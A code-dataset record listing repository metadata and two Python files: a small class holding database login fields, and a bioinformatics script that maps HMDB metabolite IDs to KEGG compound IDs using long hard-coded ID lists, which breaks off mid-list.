hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
83490b213497b36849dba95a8a11525ce862526f | 221 | py | Python | db_credentials.py | mateob93/mqtt_subscriber | cb90f3c2d6e48685ae65ca98194b978f6b18732f | [
"MIT"
] | null | null | null | db_credentials.py | mateob93/mqtt_subscriber | cb90f3c2d6e48685ae65ca98194b978f6b18732f | [
"MIT"
] | null | null | null | db_credentials.py | mateob93/mqtt_subscriber | cb90f3c2d6e48685ae65ca98194b978f6b18732f | [
"MIT"
] | null | null | null | class DbCredentials:
def __init__(self, db_id, db_pass):
self.db_id = db_id
self.db_pass = db_pass
def to_dict(self):
return {"db_id": self.db_id,
"db_pass": self.db_pass}
| 24.555556 | 40 | 0.58371 | 34 | 221 | 3.352941 | 0.323529 | 0.263158 | 0.210526 | 0.263158 | 0.350877 | 0.350877 | 0.350877 | 0 | 0 | 0 | 0 | 0 | 0.307692 | 221 | 8 | 41 | 27.625 | 0.745098 | 0 | 0 | 0 | 0 | 0 | 0.054299 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0.428571 | 0 | 0.142857 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 8 |
364b8877267c2d9e0782f60e8cc58361f9514afc | 82,064 | py | Python | Validation/scripts.py | DaniRuizPerez/PALM-Public-Respository | 23e7373c1fea968a052f9429569c7741e2f0fdfc | [
"MIT"
] | 1 | 2021-04-30T15:32:31.000Z | 2021-04-30T15:32:31.000Z | Validation/scripts.py | DaniRuizPerez/PALM-Public-Respository | 23e7373c1fea968a052f9429569c7741e2f0fdfc | [
"MIT"
] | null | null | null | Validation/scripts.py | DaniRuizPerez/PALM-Public-Respository | 23e7373c1fea968a052f9429569c7741e2f0fdfc | [
"MIT"
] | 1 | 2021-11-17T05:48:42.000Z | 2021-11-17T05:48:42.000Z |
##### GET MAPPING FORM HMDB TO KEGG
def loadHashTable(filename, delim):
print("Loading "+filename+"...")
try:
file = open(filename, 'r')
except OSError:
print( filename + " does not exist")
return None
hash = dict()
for i, line in enumerate(file):
if (i == 0 or line == "\n" or line == "\r"):
continue
key, values = line.replace("\n","").replace("\r","").split(delim)
if (values != ""):
hash[key] = values
# hash[key] = list(values.split("|"))
hash[key] = values
# printLog("a.txt", str(key) + "$" + str(values))
return hash
hashMet = loadHashTable("HMDBtoKEGGcompoundFull.csv","$" )
# Convert from HMDB TO KEGG
metListToConvert = ["HMDB04705","HMDB04704","HMDB00535","HMDB00666","HMDB00764","HMDB00703","HMDB00711","HMDB01954","HMDB00511","HMDB00197","HMDB02203","HMDB00638","HMDB00888","HMDB02000","HMDB00806","HMDB00623","HMDB00826","HMDB02261","HMDB03229","HMDB00220","HMDB00872","HMDB60038","HMDB62548","HMDB01388","HMDB00673","HMDB00207","HMDB00827","HMDB00672","HMDB13622","HMDB00772","HMDB61710","HMDB01999","HMDB01043","HMDB02925","HMDB05060","HMDB02231","HMDB02212","HMDB00801","HMDB02183","HMDB01976","HMDB02226","HMDB02068","HMDB02364","HMDB02392","HMDB00761","HMDB00518","HMDB00626","HMDB00733","HMDB00391","HMDB00506","HMDB00619","HMDB00698","HMDB00637","HMDB00631","HMDB00708","HMDB00138","HMDB00722","HMDB00951","HMDB00896","HMDB00874","HMDB00932","HMDB00036","HMDB01895","HMDB01889","HMDB29723","HMDB00784","HMDB00792","HMDB01928","HMDB01933","HMDB05032","HMDB14420","HMDB35665","HMDB04072","HMDB00866","HMDB01518","HMDB02121","HMDB30180","HMDB00786","HMDB02100","HMDB00779","HMDB00020","HMDB00245","HMDB04159","HMDB02368","HMDB33585","HMDB15070","HMDB06219","HMDB10379","HMDB10383","HMDB10382","HMDB10386","HMDB02815","HMDB10384","HMDB10397","HMDB10395","HMDB10393","HMDB10404","HMDB11504","HMDB11503","HMDB11507","HMDB11506","HMDB11130","HMDB11517","HMDB11511","HMDB11520","HMDB07869","HMDB07873","HMDB07871","HMDB08006","HMDB07973","HMDB07972","HMDB07970","HMDB07983","HMDB08138","HMDB08105","HMDB08039","HMDB08038","HMDB07991","HMDB08048","HMDB08047","HMDB08270","HMDB11212","HMDB11210","HMDB11208","HMDB11220","HMDB11310","HMDB11243","HMDB11241","HMDB11252","HMDB08923","HMDB08925","HMDB00252","HMDB12252","HMDB04949","HMDB04952","HMDB04956","HMDB04953","HMDB10169","HMDB12101","HMDB01348","HMDB12102","HMDB12104","HMDB12103","HMDB12107","HMDB11697","HMDB06725","HMDB00658","HMDB00885","HMDB10370","HMDB00610","HMDB00918","HMDB10368","HMDB06731","HMDB06726","HMDB06736","HMDB06733","HMDB10375","HMDB06729","HMDB11565","HMDB11131","HMDB11582","HMDB07011","HMDB07128","HMDB07099","HMDB07098","HMDB07132","HMDB07103","HMDB07102","HMDB07100","HMDB07248","HMDB07219","HMDB07218","HMDB07216","HMDB07158","HMDB07199","HMDB42063","HMDB42093","HMDB10419","HMDB10412","HMDB10411","HMDB05432","HMDB05376","HMDB05359","HMDB05356","HMDB10471","HMDB05435","HMDB05433","HMDB05377","HMDB05360","HMDB05357","HMDB11701","HMDB05362","HMDB42104","HMDB31106","HMDB10517","HMDB05436","HMDB05380","HMDB05363","HMDB05384","HMDB05369","HMDB05367","HMDB05365","HMDB43058","HMDB05391","HMDB05385","HMDB05370","HMDB05405","HMDB05403","HMDB05395","HMDB42466","HMDB42226","HMDB05462","HMDB05456","HMDB05398","HMDB05410","HMDB05404","HMDB05396","HMDB05476","HMDB00067","HMDB29377","HMDB02123","HMDB00510","HMDB00452","HMDB00407","HMDB00317","HMDB59655","HMDB00355","HMDB00555","HMDB00522","HMDB11718","HMDB29757","HMDB00873","HMDB01232","HMDB00017","HMDB04400","HMDB00529","HMDB00766","HMDB00034","HMDB00448","HMDB00161","HMDB00126","HMDB62781","HMDB00019","HMDB00517","HMDB00044","HMDB00168","HMDB00191","HMDB00039","HMDB00482","HMDB11621","HMDB00094","HMDB00904","HMDB01547","HMDB00192","HMDB01202","HMDB01370","HMDB03349","HMDB01227","HMDB00365","HMDB00613","HMDB10325","HMDB00122","HMDB00174","HMDB00134","HMDB05015","HMDB15371","HMDB00152","HMDB03339","HMDB00139","HMDB00132","HMDB00133","HMDB02259","HMDB00118","HMDB00157","HMDB02320","HMDB02302","HMDB00682","HMDB00195","HMDB00190","HMDB00186","HMDB00687","HMDB00156","HMDB00691","HMDB00696","HMDB00206","HMDB01138","HMDB01488","HMDB00216","HMDB00226","HMDB02329","HMDB00210","HMDB00124","HMDB00209","HMDB06344","HMDB00162","HMDB00237","HMDB00767","HMDB00957","HMDB00244","HMDB00884","HMDB00187","HMDB03070","HMDB00247","HMDB00893","HMDB00254","HMDB00956","HMDB00251","HMDB37942","HMDB00167","HMDB00262","HMDB00929","HMDB00158","HMDB00288","HMDB00300","HMDB00289","HMDB00296","HMDB00892","HMDB00292","HMDB00881","HMDB00098","HMDB13733","HMDB00054","HMDB00089","HMDB00714","HMDB00123","HMDB00148","HMDB00641","HMDB00177","HMDB00182","HMDB00883","HMDB00172","HMDB00159","HMDB00725","HMDB00214","HMDB00472","HMDB00259","HMDB00092","HMDB01539","HMDB29416","HMDB01906","HMDB00715","HMDB00898","HMDB00870","HMDB00026","HMDB01406","HMDB00043","HMDB00097","HMDB00086","HMDB00895","HMDB01257","HMDB00064","HMDB00562","HMDB00925","HMDB00050","HMDB00630","HMDB00101","HMDB00014","HMDB01046","HMDB00716","HMDB01149","HMDB00699","HMDB01161","HMDB01414","HMDB02005","HMDB00056","HMDB00194","HMDB00062","HMDB00201","HMDB00824","HMDB13133","HMDB02013","HMDB00688","HMDB00791","HMDB13288","HMDB00651","HMDB13325","HMDB02250","HMDB13326","HMDB05066","HMDB02014","HMDB13331","HMDB00222","HMDB13337","HMDB00848","HMDB05065","HMDB13339","HMDB06469","HMDB06460","HMDB03282","HMDB01563","HMDB04030","HMDB13716","HMDB04326","HMDB00479","HMDB01886","HMDB06023","HMDB01169","HMDB03464","HMDB59824","HMDB00897","HMDB01991","HMDB03333","HMDB01859","HMDB00212","HMDB01432","HMDB00557","HMDB01924","HMDB13222","HMDB01008","HMDB00030","HMDB02322","HMDB01847","HMDB00063","HMDB03459","HMDB41876","HMDB00128","HMDB03431","HMDB00670","HMDB00679","HMDB01390","HMDB02271","HMDB02024","HMDB01921","HMDB02820","HMDB15052","HMDB02172","HMDB01276","HMDB01186","HMDB04193","HMDB04824","HMDB00766","HMDB00812","HMDB06029","HMDB13253","HMDB32055","HMDB03357","HMDB02064","HMDB04620","HMDB13287","HMDB01325","HMDB03269","HMDB04610","HMDB04827","HMDB00802","HMDB00239","HMDB14611","HMDB01185","HMDB00269","HMDB15028","HMDB00875","HMDB04161","HMDB10387","HMDB10391","HMDB10407","HMDB13122","HMDB11130","HMDB11526","HMDB00252","HMDB12097"]
metListToConvert = ["HMDB00764","HMDB00511","HMDB00197","HMDB00806","HMDB00626","HMDB00619","HMDB00637","HMDB00138","HMDB00036","HMDB01895","HMDB00020","HMDB10169","HMDB00067","HMDB02123","HMDB00510","HMDB00452","HMDB11718","HMDB00873","HMDB01232","HMDB00448","HMDB00019","HMDB00039","HMDB00482","HMDB00094","HMDB01547","HMDB00365","HMDB00174","HMDB00139","HMDB00118","HMDB00195","HMDB00156","HMDB02329","HMDB00209","HMDB00244","HMDB00247","HMDB00956","HMDB00251","HMDB00262","HMDB00289","HMDB00296","HMDB00098","HMDB00089","HMDB00725","HMDB00715","HMDB00870","HMDB00043","HMDB00097","HMDB01257","HMDB00562","HMDB00630","HMDB00101","HMDB00014","HMDB01149","HMDB00699","HMDB00056","HMDB00194","HMDB00222","HMDB01169","HMDB03464","HMDB01991","HMDB00030","HMDB02322","HMDB00063","HMDB00128","HMDB04193","HMDB00812","HMDB03357","HMDB04610","HMDB00239","HMDB00269"]
metOutput = list()
for met in metListToConvert:
metOutput.append(hashMet.get(met))
# print (metOutput)
# Convrt a list of kegg compounds into a list of hmdb mets
listOfKEGGCompoundsToHMDB = ["C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00025","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00031","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00037","C00041","C00041","C00041","C00042","C00042","C00042","C00042","C00042","C00042","C00042","C00042","C00042","C00042","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00047","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00049","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00062","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00064","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00065","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00073","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00077","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00078","C00079","C00082","C00082","C00082","C00082","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00093","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00099","C00105","C00105","C00105","C00105","C0010